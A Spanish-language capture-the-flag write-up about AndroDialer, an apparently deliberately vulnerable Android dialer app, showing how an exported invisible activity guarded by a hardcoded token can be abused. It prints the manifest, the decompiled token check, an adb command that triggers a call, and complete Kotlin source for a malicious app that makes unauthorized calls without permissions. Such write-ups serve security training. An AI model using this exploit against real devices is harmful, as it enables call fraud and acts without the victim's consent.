Androdialer Writeup

Table of Contents

AndroDialer: la experiencia telefónica definitiva

Introducción

¿Alguna vez has querido librarte de las limitaciones del marcador habitual de tu Android? ¡Te presentamos AndroDialer! Una app de marcado elegante y completa que lleva tus llamadas al siguiente nivel.

Reúne una organización inteligente de contactos, widgets de marcado rápido personalizables y un modo “Business Focus” que filtra las interrupciones para que mantengas el control de cada conversación. Entre bastidores, AndroDialer ofrece analíticas de llamadas en profundidad para ayudarte a detectar tendencias de comunicación, además de funciones de seguridad mejoradas. Su interfaz altamente adaptable se completa con temas claro y oscuro, límites de tiempo de llamada y ajustes totalmente personalizados que logran el equilibrio ideal entre eficiencia y elegancia, tanto para llamadas personales como profesionales.

Cadena de ataque

Análisis estático (jadx / MobSF) → Activity "fantasma" exportada (CallHandlerServiceActivity)
      │
      ▼
Token de autorización hardcodeado en el código → 8kd1aL3R_s3Cur3_k3Y_2023
      │
      ▼
Improper Access Control → Intent forjado con el token + phoneNumber
      │
      ▼
Confused Deputy → AndroDialer (que sí tiene el permiso CALL_PHONE) lanza la llamada
      │
      ▼
Llamada no autorizada, sin permisos ni interacción de la víctima

Objetivo

Crear una aplicación maliciosa que explote la aplicación AndroDialer para iniciar llamadas no autorizadas a números arbitrarios sin el conocimiento ni el consentimiento de la víctima.

Resolver este reto demuestra una vulnerabilidad de seguridad crítica que podría derivar en fraude financiero.

Restricción

Tu exploit debe funcionar en dispositivos Android sin root hasta la versión Android 15, y no debe requerir que la víctima conceda ningún permiso en tiempo de ejecución, de modo que parezca inofensivo durante la instalación.

Información sobre el APK

Antes de meternos en el código, hacemos una inspección rápida de la aplicación objetivo para comprobar su integridad y recoger metadatos.

  • Nombre de la aplicación: AndroDialer
  • Nombre del paquete: com.eightksec.androdialer
  • Fichero: AndroidDialer.apk
  • Tamaño: 3.1 MB
  • MD5: 1114a0d118641f97082f4fdd78902ebc
  • SHA256: c50b141784d237364ab0138b77afb07c21d5c0833df0387e016f41dbb921a828

Reconocimiento y análisis estático

Empezamos decompilando el APK con jadx-gui y MobSF. Al inspeccionar el AndroidManifest.xml, una activity concreta destaca por su configuración:

<activity
    android:theme="@android:style/Theme.NoDisplay"
    android:name="com.eightksec.androdialer.CallHandlerServiceActivity"
    android:exported="true"
    android:taskAffinity=""
    android:excludeFromRecents="true">
    <intent-filter>
        <action android:name="com.eightksec.androdialer.action.PERFORM_CALL"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="tel"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="dialersec"
            android:host="call"/>
    </intent-filter>
</activity>

Análisis de la configuración del Manifest

Esta configuración revela varios atributos críticos que indican un diseño sigiloso:

  1. android:theme="@android:style/Theme.NoDisplay": es lo que se conoce como “Ghost Activity” (Activity fantasma). No tiene interfaz gráfica (GUI). Ejecuta su lógica y termina (o corre en segundo plano) sin que el usuario vea nada en pantalla.

  2. android:exported=“true”: este es el punto de entrada principal del ataque. Significa que la Activity es accesible para apps externas. Cualquier otra aplicación del dispositivo (o un comando adb) puede invocar este componente directamente.

  3. android:excludeFromRecents=“true” y android:taskAffinity="": estos atributos hacen que la activity no aparezca en la lista de “Aplicaciones recientes”, ocultando aún más su ejecución al usuario.

Vector de ataque

Al revisar el código fuente de CallHandlerServiceActivity, identificamos un mecanismo de control de acceso basado en un token.

// Lógica para validar el token de autorización
if (str13.equals("8kd1aL3R_s3Cur3_k3Y_2023") || 
    str13.equals("8kd1aL3R-s3Cur3-k3Y-2023") || 
    h.a(str3, "8kd1aL3R_s3Cur3_k3Y_2023") || 
    h.a(str3, "8kd1aL3R-s3Cur3-k3Y-2023")) {
    
    // Lógica para extraer el número de teléfono
    if (getIntent().hasExtra("phoneNumber")) {
        str9 = getIntent().getStringExtra("phoneNumber");
    }
    // ... el código posterior lanza la llamada
}

El flujo de la lógica funciona así:

  1. Recolección de tokens: la activity procesa el Intent entrante, extrayendo datos de los Extras, los parámetros de query y los segmentos de path, y agrupa los posibles tokens en un ArrayList.

  2. La comprobación (credencial hardcodeada): valida si alguno de los tokens recogidos coincide con la cadena incrustada en el código 8kd1aL3R_s3Cur3_k3Y_2023.

  3. Ejecución: si el token es válido, extrae el número de teléfono objetivo y ejecuta de inmediato un intent ACTION_CALL.

La vulnerabilidad: la aplicación sufre un Control de Acceso Inadecuado (Improper Access Control) combinado con Credenciales Hardcodeadas. Como el token de autorización está incrustado en el código de la app, cualquier atacante que la revierta puede forjar un Intent válido para disparar una acción privilegiada (una llamada) sin interacción del usuario.

PoC

Para verificar la vulnerabilidad, podemos disparar la Activity manualmente vía ADB usando el token extraído y un número objetivo (por ejemplo, 123456789).

Comando ADB

adb shell am start -n com.eightksec.androdialer/.CallHandlerServiceActivity \
  --es "enterprise_auth_token" "8kd1aL3R_s3Cur3_k3Y_2023" \
  --es "phoneNumber" "123456789"

Exploit

Para cumplir el objetivo por completo, creamos una aplicación Android maliciosa (“troyano”) que dispara esta vulnerabilidad de forma programática. Esta app no necesita el permiso CALL_PHONE: se apoya en la app vulnerable AndroDialer (ataque confused deputy) para realizar la llamada. Creamos un proyecto nuevo en Android Studio con una Empty Activity.

Código

En MainActivity.java, construimos un Intent explícito apuntando al componente vulnerable. Inyectamos el token hardcodeado y el número objetivo en los extras del Intent.

package com.example.androdialertexploit

import android.app.Activity
import android.content.ComponentName
import android.content.Intent
import android.os.Bundle

class MainActivity : Activity() {
    
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        // Paquete y activity vulnerables
        val targetPackage = "com.eightksec.androdialer"
        val targetActivity = "com.eightksec.androdialer.CallHandlerServiceActivity"

        // Token y número objetivo
        val authToken = "8kd1aL3R_s3Cur3_k3Y_2023"
        val targetNumber = "123456789"
        
        val intent = Intent()
        intent.component = ComponentName(targetPackage, targetActivity)

        // Añadimos los extras
        intent.putExtra("enterprise_auth_token", authToken)
        intent.putExtra("phoneNumber", targetNumber)

        // Lanzamos la activity (fantasma)
        startActivity(intent)

        // Cerramos
        finish()
    }
}

Ejecución

  1. Compilamos el APK (Build > Build Bundle(s) / APK(s) > Build APK).

  2. Lo instalamos en el dispositivo de la víctima, donde AndroDialer ya está instalado.

  3. Al abrir la app maliciosa, esta invoca al instante CallHandlerServiceActivity.

  4. AndroDialer valida el token e inicia la llamada en segundo plano.

Con esto se evaden los modelos de permisos de Android delegando la acción privilegiada en una app legítima que ya tiene el permiso, pero que no protege su interfaz.

Resumen

#FaseTécnicaResultado
1Análisis estáticoDecompilado con jadx / MobSFCallHandlerServiceActivity exportada y sin interfaz (Ghost Activity)
2Vector de ataqueLectura del código fuenteToken de autorización hardcodeado + Improper Access Control
3PoCIntent vía ADBLlamada disparada con el token extraído
4ExploitApp maliciosa (Confused Deputy)Llamada no autorizada sin permisos ni interacción